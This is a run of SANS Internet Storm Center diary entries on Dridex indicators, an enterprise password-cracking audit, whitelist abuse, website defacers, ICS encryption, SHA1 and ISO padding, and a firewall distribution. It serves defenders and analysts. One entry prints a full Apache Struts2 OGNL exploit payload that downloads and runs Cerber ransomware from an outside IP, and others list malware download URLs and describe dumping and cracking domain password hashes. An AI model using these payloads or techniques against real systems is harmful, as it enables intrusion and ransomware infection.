The Dridex binary was encoded while it was sent over the network. The encoded binary was saved to the Windows host at C:\Users\[username]\AppData\Local\Temp\ferbys2 where it was decoded and saved in the same directory as redchip2.exe.
Shown above: Infection traffic filtered in Wireshark: http.request or (!(tcp.port eq 80) and tcp.flags eq 0x0002).
Shown above: Alerts on the traffic using Security Onion running Suricata with the Proofpoint/ET open ruleset.
Shown above: Encoded Dridex binary retrieved by the Word macro.
Shown above: Certificate data associated with Dridex post-infection SSL/TLS traffic.
Indicators of Compromise (IOC) from Monday 2017-04-10
The following URLs were extracted from the Word document macros seen on Monday 2017-04-10. These URLs retrieved the encoded Dridex binary. Many of these have already been taken off-line.
- 211shap.ru - GET /874hv
- anticon.net - GET /874hv
- cardoso1.com - GET /874hv
- centralsecuritybureau.com - GET /874hv
- decadd.com - GET /874hv
- designbyli.com - GET /874hv
- hiddencreek.comcastbiz.net - GET /874hv
- jheroen.nl - GET /874hv
- kapil.50webs.com - GET /874hv
- kpwc.comcastbiz.net - GET /874hv
- marinusjanssen.nl - GET /874hv
- ncdive.com - GET /874hv
- produlav.com.br - GET /874hv
- RussellYermal.com - GET /874hv
- solucionesfenix.net - GET /874hv
- super-marv.com - GET /874hv
- trans-atm.com - GET /874hv
- tserv.su - GET /874hv
- usawaterproofing.com - GET /874hv
- www.mdfond.ru - GET /874hv
Below is SSL/TLS post-infection traffic and associated certificate data from my infected Windows host on 2017-04-10:
IP address 64.79.205.100 over TCP port 4743
- countryName = ID
- stateOrProvinceName = upind0
- localityName = Jakarta
- organizationName = Tbreimem SAS
- organizationUnitName = Ptb@enc Cindusto Atoumo
- commonName = halindngofol.weadtrgtutmt.gn
IP address 185.25.184.214 over TCP port 4743
- countryName = CY
- stateOrProvinceName = Meourep Seinhadth tberese0
- localityName = Nicosia
- organizationName = Tteeran SNC
- commonName = llrrofom.fo
IP address 185.44.105.92 over TCP port 443:
- countryName = JP
- stateOrProvinceName = Thhithan
- localityName = Tokyo
- organizationName = Arsis SCE
- organizationUnitName = Aputhe Tshashf and as4po
- commonName = cakinoble.lancaster
Final words
For now, it looks like high-volume Dridex distribution through malspam is once again a feature of our current threat landscape. But how much of a threat is it?
As always, if you have a properly-configured Windows host in a well-administered environment, your risk of infection is low. But as usual, humans are the weakest link in this infection chain. If people are determined to bypass all warnings, and their systems are configured to allow it, they may very well become infected.
Emails, malware samples, and the pcap associated with 2017-04-10 Dridex malspam can be found here.
---
Brad Duncan
brad [at] malware-traffic-analysis.net
References
[1] FlashPoint: Dridex Banking Trojan Returns, Leverages New UAC Bypass Method
[2] Proofpoint: High-Volume Dridex Campaigns Return, First to Hit Millions Since June 2016
[3] SANS Internet Storm Center (ISC): Dridex malspam example from January 2016
[4] Malware-traffic-analysis.net: 2017-03-30 - Dridex malspam (2 waves)
3 Comments
Password History: Insights Shared by a Reader
When extracting hashes from an active directory database for password auditing purposes, it can also possible to extract hashes of a user's password history.
A reader of the ISC diary working for a Fortune 500 company used this password history analysis tool and shares his findings which us, for which I like to thank him.
Report:
Background
I work for a global Fortune 500 company where employees number in the several tens of thousands. Our password policy isn’t monolithic, but at the core it varies some from the nebulous “industry standard”. One of the elements that is different is that we ask users to rotate their passwords more frequently than most. For our most sensitive users, that is every 30 days.
Password discussions are numerous out there on the internet and there have been many articles of late suggesting that frequent password rotation just causes users to iterate their passwords on the same core string. Password1 becomes Password2, then Password3 and so on. We had some spirited internal discussions about whether we should relax our policy in accordance with this guidance. Ultimately, we decided that we wanted some data on password security in our environment. People can blog all they want about opinions, but the best security decisions are made with data to support them.
So we set out to measure how often our users made use of a shared string when constructing their passwords, and also how ‘secure’ our users passwords actually are. To be clear, I’m using the term “measure” here in the sense that we are trying to reduce uncertainty about a subject, not trying to know exactly the size/shape/scope of a thing. (For more on that, I recommend “How to Measure Anything” by Douglas Hubbard). Also, by measuring now, we get the opportunity to measure the impact any change in our password policy has on our user habits. Double win!
Process
Measuring passwords meant (to us) password cracking. Before going further, I want to be clear that we obtained permission from our Legal department to conduct our password auditing after satisfying them that we were taking due care with user passwords and privacy. I’m not going to go into those details here, but suffice to say that permission is essential for activities like this.
One of the things that we wanted to demonstrate was the effectiveness that password cracking could have - and in what timeframe. Accordingly we built a very moderate cracking rig for both financial reasons and also to show what a simple setup could achieve. We bought a motherboard which could handle two modern graphics cards, a cheap Intel Celeron processor, and 2 GeForce GTX 1070 graphics cards. We scraped together some stray RAM, scavenged an old desktop case, and with some ingenuity, crammed the new hardware into the old case. It’s a Frankensteinian monster - nothing sleek or sexy about it. But it’s functional and cost less than $2000 all told.
In an enterprise, the best place for a treasure trove of passwords to crack is the ntds.dit file on an Active Directory Domain Controller. That, in combination with the SYSTEM hive gives you access to all the passwords in AD. In our environment, ntds.dit turned out to be 5 GB. That’s...pretty large.
We first attempted to follow what seems to be the standard process of using the utility ntdsextract. For example, Didier Stevens walks through this process in his blog series. When we got to the esedbextract stage, we let it run for about 24 hours and had only extracted ~130 MB of data. That was not going to scale well with our environment, so we turned to option 2, secretsdump.py. (Didier also covered this tool). Happily, secretsdump worked much faster and gave us what we wanted within our lifetime.
The next important step was to filter out only the historical password. Luckily, our Active Directory environment is configured to retain up to 120 passwords in the password history, so we had plenty of data. The important point is that we never wanted to crack a password currently in use if we could help it.
For cracking, we used hashcat, compiled to run on a default install of Ubuntu. We used the Crackstation wordlist and the default rules available in hashcat for a series of hybrid attacks. We tried various iterations with that wordlist as well as some created from observations about our environment in a hybrid attack (wordlists plus rules generated by hashcat). Eventually, we turned to a little brute force cracking to bat cleanup. We brute forced all passwords from 1 through 8 characters in length in our environment. All told, we spent roughly 6 days of cracking time (several weeks of real time juggling other projects and troubleshooting this or that), 5 of which were just the straight brute force attacks.
But how to analyze what we set out to do, the use of shared strings across multiple passwords? Didier Stevens to the rescue (again)! While troubleshooting the extraction process, I contacted Didier and explained what we were up to. Like the Santa Claus of security tools, he shared a rough script which he had created to analyze the use of shared strings in passwords. I have been helping him to test and polish it up and he recently released it. Huge thanks to Didier for making awesome tools and being willing to spend time and effort helping us out.
Results
Below are some statistics about what we learned by analyzing our cracked passwords. Please note, these observations are only on the passwords which we cracked, not the 80% which we haven’t (yet). By necessity, we cracked the easy ones first of course, which included the ones with shared strings. So although these observations are certainly interesting, they are necessarily skewed towards users with poor password hygiene. Just something to keep in mind.
-
974,111 - the total number of historical password hashes extracted from ntds.dit. A treasure trove as promised!
-
189,000 - total passwords cracked so far, 19.4% of the available pool
-
15,800 - user accounts which had at least one password cracked
-
12 - average number of passwords cracked per user account
-
2 minutes - the time taken for the first pass with a wordlist and 64 rules to crack the first 38,000 passwords
-
Just under 5 days - time taken to brute force all passwords up through 8 characters in length
-
~6 days - total time spent by the cracking rig to crack passwords
-
87.8% - passwords cracked via wordlist (in ~24 hours total time)
-
12.2% - passwords cracked via brute force (in ~5 days time). Wordlists are the by far the most efficient use of time!
-
9,489 unique user accounts made use of a shared string between at least 2 passwords - 60% of the total accounts
-
7,568 unique shared strings - 1,921 shared strings were duplicates used by multiple user accounts
-
109,861 passwords that had a shared string - 58.2% of the total passwords cracked
-
61 - the number of successive passwords for a single user account which all shared the same string - several users have not varied their passwords for 5 or more years!
-
27 characters - the longest password cracked; It was a name and digits repeated several times
-
6,400 - the number of passwords which had an element of the company name as a shared string (does not include modified versions of the company name like c0mp@ny)
-
19 characters - the longest shared strings observed. One of them was “Thisisalongpassword” - maybe so, but not good enough to avoid being cracked.
Conclusions
With the help of Didier’s script, we certainly learned a lot about the use of shared strings in our user’s passwords. However, we were not able to find the data to conclude anything concrete about the relationship of our password rotation policy and the use of shared strings. That’s ok though, because by running through the cracking process we did show that the difference between a 30 day rotation policy and something longer is not going to make much difference.
We clearly demonstrated that a moderate cracking rig run by people who don’t crack passwords as their job can achieve devastating results in very little time. 8 character passwords are not in any way long enough to stave off password cracking as an effective attack against them. A good wordlist and set of rules can effectively crack most of them in minutes or seconds, and brute force can crack all of them within days. No password rotation policy will stay ahead of that.
Therefore we should a)make sure that all our passwords are longer than that, b)make sure that it’s really really hard to crack passwords at an enterprise scale (protect your Domain Controllers!) c)adjust our password rotation cycle to ease the burden on our users and d)continue to emphasize the importance of good passwords and educate our users on how to construct them.
There are other obvious conclusions that can be made here - two-factor all the things for example. None of these conclusions are ground-breaking or anything that you, as a security professional, did not likely know before reading this article. But this wasn’t really an exercise in demonstrating that “passwords are dead” or the weakness of relying on passwords as a sole means of authentication. It was an attempt to measure user behavior, justify security policy changes with data, and track the impact that adjusting those policies may have on our users/our security posture.
In the first two of those goals, we feel that we have succeeded well.
I said it before, but it’s worth saying again: thanks to Didier for his contributions to our efforts and the community at large.
Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com
5 Comments
Domain Whitelisting With Alexa and Umbrella Lists - update
A was asked if I could share the files of my last diary entry:Â Domain Whitelisting With Alexa and Umbrella Lists.
You can find the files on my site here. And to teach you how to fish :-), here are the commands I used to produce these lists:
Âcsv-cut.py -s "\t" 1 emd.txt > blocklist.txt
csv-lookup.py -s , -e blocklist.txt 0 top-1m-umbrella.csv 1 0 blocklist-umbrella.csv
csv-lookup.py -s , -e blocklist.txt 0 top-1m-alexa.csv 1 0 blocklist-alexa.csv
My csv tools can be found on my Beta GitHub repository.
My assumption when I read this blog post, was that the blocklisted domains would rank low in the Alexa and Umbrella lists. They don't, look at the histograms of the rankings.
Blocklisted domains with Alexa rank:
Blocklisted domains with Umbrella rank:
These long tail distributions indicate that blocklisted domains with higher ranks are more prevalent than those with lower ranks. This is also reflected in the ranking median (287,251 for Alexa and 393,879 for Umbrella) and average (350,553 for Alexa and 420,846 for Umbrella).
Conclusion: don't use Alexa and Umbrella top 1,000,000 lists as whitelists blindly, even if you just use the top 1000 or 10000.
Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com
0 Comments
Domain Whitelisting With Alexa and Umbrella Lists
I read an interesting blogpost: Domain Whitelist Benchmark: Alexa vs Umbrella
The author reported that around 1400 domains on Malwarebytes' hpHosts EMD blocklist were in the top 1,000,000 domains Alexa and Umbrella lists. I was interested to know how high these domains ranked, and fortunately they had shared the results. But I was not able to download the list (406 error).
Thanks to the detailed explanations, I was able to reproduce the results. I have 1413 domains on the Umbrella list and 1361 domains on the Alexa list.
Here are high ranking domains on the Alexa list:
Here are high ranking domains on the Umbrella list:
It is interesting to see that domains on a blocklist score really high on lists that happen to be used as whitelists too.
Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com
0 Comments
Tracking Website Defacers with HTTP Referers
In a previous diary, I explained how pictures may affect your website reputation[1]. Although a suggested recommendation was to prevent cross-linking by using the HTTP referer, this is a control that I do not implement on my personal blog, purely for research purposes. And it successfully worked!
My website and all its components are constantly monitored but I’m also monitoring online services like pastebin.com to track references to my domains, IP addresses and other interesting information. A few days ago, I received an alert about a mention to my blog[2]. It contained some HTML code used to deface websites:
<html lang="en-US"><head><title>Indonesian-Defacer</title> <link rel="icon" type="image/x-icon" href="https://blog.rootshell.be/wp-content/uploads/2012/02/blackhat-nl.png"> <meta property="og:title" content="nginxDEX"> <meta property="description" content="Jemb4t"> <meta property="og:author" content="Jemb4t"> <meta property="og:image" content="http://i.imgur.com/F2KaExC.jpg"> <meta charset="UTF-8"> </head> <script type="text/javascript”> …
As you can see a group of website defacer (MagelangN00bs[3]) is using a direct link to an image on my blog as favicon[4] file. I think that they used my image because it looks like the Indonesian flag with a "black hat" head on top of it:
Here is an example of defaced website by this group:
Well, nothing fancy, just a logo, some nasty music... Let's have a look at my logs and search for references to the original pictures. The group started its activity around the 15th of March:
And what about the targets? After cleaning the referers (Google being of course the top-1), 90 websites were reported as defaced. Some examples:
- hxxp://www.dias.net.in (restored)
- hxxp://unitedyouthmission.com/ (still defaced)
- hxxp://learnwellme.com/ (restored)
- hxxp://www.mekallifestyle.in/ (still defaced)
- hxxp://politicalvartha.com/ (restored)
- hxxp://www.fundookids.in/ (restored)
The group is still active and new websites are defaced almost every day. Once again, this is a good example of the power of HTTP referers.
[1] https://isc.sans.edu/forums/diary/How+your+pictures+may+affect+your+website+reputation/22151/
[2] https://pastebin.com/Zq8Ceebu
[3] http://www.magelang1337.com/
[4] https://en.wikipedia.org/wiki/Favicon
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key
4 Comments
Java Struts2 Vulnerability Used To Install Cerber Crypto Ransomware
[We do have a special webcast about the Struts2 Vulnerability scheduled for 11am ET today. Sign up here]
Since about a month, we are tracking numerous attempts to exploit the Java Struts2 vulnerability (%%cve:2017-5638%%). Typically, the exploits targeted Unix systems with simple Perl backdoors and bots. But recently, I saw a number of exploit attempts targeting Windows systems using a variant of the Cerber ransomware.
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='BITSAdmin.exe /Transfer JOB hxxp://82[.]165[.]129[.]119/UnInstall.exe %TEMP%/UnInstall.exe & %TEMP%/UnInstall.exe').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
The command executed by the exploit as shown above:
- The script uses BITSAdmin to download the malware (I obfuscated the URL above.
- The malware ("UnInstall.exe") is saved in the %TEMP% directory
- finally, the malware is executed.
Virustotal shows pretty good coverage for this malware by now:
The malware reaches out to btc.blockr.io to retrieve a bitcoin wallet address for the money transfer. Encrypted files are renamed using random (encrypted) file names.
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
STI|Twitter| LinkedIn
1 Comments
Whitelists: The Holy Grail of Attackers
As a defender, take the time to put yourself in the place of a bad guy for a few minutes. You’re writing some malicious code and you need to download payloads from the Internet or hide your code on a website. Once your malicious code spread in the wild, it will be quickly captured by honeypots, IDS, ... (name your best tool) and analysed automatically of manually by the good guys. Their goal of this is to extract a behavioural analysis of the code and generate indicators (IOC’s) which will help to detect it. Once IOC's extracted, its just a question of time, they are shared very quickly.
In more and more environments, IOC’s are used as a blocklist system and security tools can block access to resources based on the IP addresses, domains, file hashes, etc). But all security control implements also “whitelist” systems to prevent (as much as possible) false positives. Indeed, if a system drops connections to a popular website for the users of an organization or other computers, the damages could be important (sometimes up to a loss of revenue). As a real life example, one of my customers implemented automatic blocklisting based on IOC’s but whitelists are in place. To reduce the false positives, two whitelists are implemented for URL filtering:
- The top-1000 of the Alexa[1] ranking list is automatically whitelisted
- Top URL's are extracted from the previous week proxy logs and added to the list
To remain below the radar or to bypass controls, the Holy Grail of bad guys is to abuse those whitelists. The Cerber ransomware is a good example. It uses URL's ending with "/search.php". They are used to download the malicious PE file:
Once the malware analysed, the URI "/search.php" became quickly an interesting IOC. Check some occurrences from my MISP instance:
By choosing a generic URL like this one, malware writers hope that it will be hidden in the traffic. But when it becomes blocklisted, there are side impacts. I had the case with a customer this week. They had to remove "/search.php" from the list of IOC’s because their IDS was generating way too many alerts. Other examples that I already met with similar URLs:
/log.php /asset.php /content.php /list.php /profile.php /report.php /register.php /login.php /rss.php
Another approach is to compromise a website categorised as “clean” and flagged in a nice web category. Here is a good example of a website for kids but hosting malicious content:
If typosquatting is still used (ex: use "ro0tshell.be" instead of "rootshell.be"), it’s more efficient if you can host your malicious content behind a real domain with a nice score in lists such as Alexa. And often, the site itself don't need to be compromised. The victim DNS can be hacked / poisoned and new records added to those “nice” domains. The victim session can be hijacked using MitM techniques. The whitelist will do the rest...
[1] http://www.alexa.com/topsites
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key
4 Comments
Encryption inside Utility Industrial Control Systems (ICS) communication protocols: a must to preserve the confidentiality of information and reliability of the industrial process
Industrial control systems are sensitive systems that must make decisions in real time to ensure the operation of the industrial process they govern. The latency and reliability in packet transmission is fundamental, since the protocols are connection-oriented but because of the main speed goal, many of them do not have included error recovery schemes other than those included in the TCP / IP stack.
Where is it possible to use encryption without affecting the operation of the industrial control process? Here are some examples:
- Power Transmission systems: The most critical communications that electrical systems have are the protections that activate the switches that handle the events of overloads in the transmission lines. Orders that are delivered to these devices can not exceed 12 ms roundtrip. Protocols such as IEEE C37.94 unfortunately still do not support encryption functionalities by default and because latency in a communications channel can easily exceed 12 ms by numerous factors that are normally seasonal and do not involve malfunctions of the platform Of communications, the use of encryption is not recommended because of the risks involved for the operation of the system. For all other communications using protocols like IEC 60870-5-104, IEC 61850 and DNP3, the crypto extensions detailed in IEC 62351 are recommended. For all other protocols that does not include a security standard like modbus, hardware crypto boxes or VPN devices works great.
- Water and gas systems: The most critical communications for the system are in the water catchment, pipes, tanks and potabilization plants. The orders sent to the RTU are not completed immediately and might take event minutes to finalize. Protocols like DNP3, BSAP and Modbus are able to handle some milliseconds (even 50) without any impact to the industrial process. In these systems, hardware crypto or VPN devices can be used
Manuel Humberto Santander Peláez
SANS Internet Storm Center Handler
0 Comments
A Practical Use for a SHA1 Collision
[This is a guest diary by Paul Bolton]
First I would like to start by stating what this article is not; it is not a new attack against sha1.
When Google announced a sha1 collision in February (here) it reminded me of a detour I took in Nov 2015 when downloading some software, which I think is relevant when we consider these types of announcements.
We talk about things that the most people can relate to, as this is the most effective way to communicate the issue. When talking about hashing algorithms such as sha1 this naturally tends towards “is my Internet banking” or other browsing is still safe.
In these cases at a technical level not only do we have the challenge of finding a collision but a collision in a highly structured format such as an SSL cert or the issue of time, which make the attack less feasible.
However, standard algorithms tend to be used for more than one thing, and in the case of hashing algorithms, if we can find a more malleable format to abuse or better still one that is also not time bound like a web page loading is, we have a better chance of success.
And this is where the story moves onto ISO images.
As I'm sure many people reading this know, ISO images are usually accompanied by two further files, a file containing the hash of the image (the hash file) and a file containing the PGP signature validating the hash file.
In this case, you already have (or obtain via other channels) the PGP public key of the organization attesting to the validity of the image. They sign the hash file with their PGP key, which you can then validate. Given that, you can then validate the ISO image by computing the hash of it and comparing it with the validated hash file. If they match then all is good.
This allows you to download the software from (mirror) sites you don't necessarily fully trust, or over insecure links, as the validation chain is independent and the theory is mathematically sound.
So, whilst playing with some tools at home I went to download an ISO image. Being a security conscious individual I also successfully validated the file using this process; but wait, the ISO image was odd – literally – it had an odd number of bytes. I was curious....
From a sysadmin background, I knew that disks in a filesystem can be of one size, but the partition table that defines what the OS is interested in, can be of another size. The rest of the data on the disk is irrelevant, whether at the end or on partitions that the OS is not using. Likewise, the treatment of unused blocks within a valid filesystem can vary as well.
After a bit of experimenting, I discovered I could append arbitrary random data to an ISO image and it would still mount on my Linux box, mount via VMWare and could be burnt on my Windows box and the CD/DVD read without error.
At the time I thought it best to play with Kali Linux 2.0, which included sha1 hashes for validation; plus I liked the nice symmetry of use.
Let's take the Kali mini iso:
[paul@pandora sans]$ openssl sha1 kali-linux-mini-2.0-amd64.iso
SHA1(kali-linux-mini-2.0-amd64.iso)= 5639928a1473b144d16d7ca3b9c71791925da23c
[paul@pandora sans]$ fgrep kali-linux-mini-2.0-amd64 SHA1SUMS
5639928a1473b144d16d7ca3b9c71791925da23c kali-linux-mini-2.0-amd64.iso
Let's now generate some random data.
[paul@pandora sans]$ dd bs=64 if=/dev/urandom of=./padding-pseudo-random.tmp count=16384
16384+0 records in
16384+0 records out
1048576 bytes (1.0 MB) copied, 0.138081 s, 7.6 MB/s
Appending this to a new copy of the ISO generates a new “untrusted” file which passes a simple iso file integrity check.
[paul@pandora sans]$ cp kali-linux-mini-2.0-amd64.iso fake-kali.iso
[paul@pandora sans]$ cat padding-pseudo-random.tmp >> fake-kali.iso
[paul@pandora sans]$ ls -l kali-linux-mini-2.0-amd64.iso padding-pseudo-random.tmp fake-kali.iso
-rw-r--r--. 1 paul paul 31457280 Apr 1 11:04 fake-kali.iso
-rw-r--r--. 1 paul paul 30408704 Apr 1 10:58 kali-linux-mini-2.0-amd64.iso
-rw-r--r--. 1 paul paul 1048576 Apr 1 11:02 padding-pseudo-random.tmp
[paul@pandora sans]$ isovfy fake-kali.iso
Root at extent 14, 6144 bytes
[0 0]
No errors found
Now, the litmus test. Can we mount it without error:
[root@pandora sans]# mount -o ro `pwd`/fake-kali.iso /mnt
[root@pandora sans]# cd /mnt/.disk && cat info
Debian GNU/Linux 2.0 (sana) amd64 - netboot mini.iso 20150422+kalinext2
How about booting it as a DVD in VMWare Workstation 12.5?
Booting it:
Copying over to windows and then burning a real CD works as well. Nice!
As an attacker, this is really good news. We can append arbitrary data to an ISO file and it will still function as expected.
In other words, we can take an ISO of our choosing (in the example the mini iso), append random data so it is of the same size as one we would wish to impersonate (in the example the full-size iso), and then there is just that annoying matter of matching hashes.
So, how easy could it be to find a collision? Well no harder than finding a collision in a small file.
The performance improvements rely on two facts:
- You have the original ISO image you wish to impersonate, and
- The fake ISO is smaller than the original.
First, a simplistic review of SHA1. You have a set of registers that are initialized towell-knownn values. The data you wish to hash is padded with a defined sequence of data and, importantly, the encoded size of the original data so that it is an exact multiple of the block size of 512 bits. You compute each block which modifies the registers, which then feeds into the next block. The hash you get are the resulting “registers” from completing the sha1 computation.
What this infers is that providing the size of the data is the same and everything after a specified block is also the same, then if you can modify that block to result in the same register settings at that point you will get the same sha1 hash for the whole file. i.e. you only need to complete the computation for one block for the main part of such an attack (512 bit block and 160 bit hash infers that a good hashing algorithm will have an even distribution and therefore multiple collisions if you could test all 2^512 combinations; though probabilities and other cryptanalysis suggest the number of tests is much less for finding just one collision, which is all we need).
So, as in the demonstration earlier, if you can append arbitrary data without error to the given format, you have the ideal situation to find a collision with a real-life and common use case.
More explicitly, as you have the original ISO (I) you can extract the registers at any part of the computation (before the padding). Therefore you can append to your impersonated ISO (I') random data up to block I'n, say. This would have the registers set to R'n. In your original ISO at In the registers would be Rn.
In the original ISO the processing of block n will change the registers to Rn+1. Therefore, providing any appended data in I' for blocks after block n are the same as in I, if we can set block n in I' to contain data that yields R'n+1 = Rn+1 we have a collision. (Remember they are the same size)
As we can append arbitrary data this constraint on later blocks is trivial to meet.
Other than looking at the image itself, would there be any clues as to the fact that something is not right? I'm sure readers will be able to mention a few ideas. One which could stand out is the size of the mounted partition if the fake is very much smaller:
[paul@pandora sans]$ cp kali-linux-mini-2.0-amd64.iso fake-kali-2.iso
[paul@pandora sans]$ cat kali-linux-mini-2.0-amd64.iso >> fake-kali-2.iso
[paul@pandora sans]$ ls -l kali-linux-mini-2.0-amd64.iso fake-kali-2.iso
-rw-r--r--. 1 paul paul 60817408 Apr 1 13:56 fake-kali-2.iso
-rw-r--r--. 1 paul paul 30408704 Apr 1 10:58 kali-linux-mini-2.0-amd64.iso
[root@pandora sans]# mount -o ro `pwd`/fake-kali-2.iso /mnt && df -k /mnt
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/loop0 22662 22662 0 100% /mnt
As you can see here, the mounted filesystem is half the size of the iso image; suggesting something isn't quite right if it isn't multi-session.
Finally, I would love to have finished with fanfare to an end result; a collision. Alas, my pockets are nowhere near as deep nor my crypto-fu as strong as Google.
So on that note, I think the main take for me is-
If the security of a particular algorithm or protocol is shown to be less than ideal then you should consider how all your use cases could potentially be abused. You may find that whilst the headline examples offer some comfort, they may hide some other use cases that are more attractive to an adversary.
Here we have a practical example how we can potentially take advantage of a weak algorithm, and thus further evidence we should move away from sha1 as a hashing function.
5 Comments
IPFire - A Household Multipurpose Security Gateway
I have been looking for a while for inline proxy that is easy to setup and manage and a co-worker suggested trying IPFire[1]. IPFire is a Linux based hardened OS compiled from sources and takes about 15 minutes to do the basic installation. Before starting, you need to determine how many interfaces (zones) you need to setup (2 to 4); mandatory green for internal, red for Internet and you can also have blue for wireless and orange for the "demilitarized zone" (DMZ). To access the interface after the software installation, access via https://ipfire:444.
The main feature I was looking for is a secure web proxy to put my web clients behind a multipurpose filtering proxy. However, I was pleasantly surprised of all the features available including cache management, URL filter, DHCP server, Snort IDS (Guardian), SquidClamAV, IPSec, OpenVPN and firewall to name a few.
After the initial setup, the system is ready to use but if you want to use Snort, you will need to add the Guardian package using the package management application Pakfire. This application is easy to use to add any of the available packages, select the package(s) and the application will check and add any packages dependencies for the application to run. A list of all the Pakfire add-ons is listed here.
The logging for each application is also very good and can also be setup to send the logs to a remote logger (SIEM).
Obviously, if you are an business, you can purchase a IPFire hardware appliances for enterprises, large businesses and SOHO. If you are interested in an easy to use household multipurpose Security Gateway, give this one a try.
[1] http://www.ipfire.org/features
[2] http://wiki.ipfire.org/en/start
[3] http://wiki.ipfire.org/en/addons/start
[4] http://www.ipfire.org/download
-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu
2 Comments
3 Comments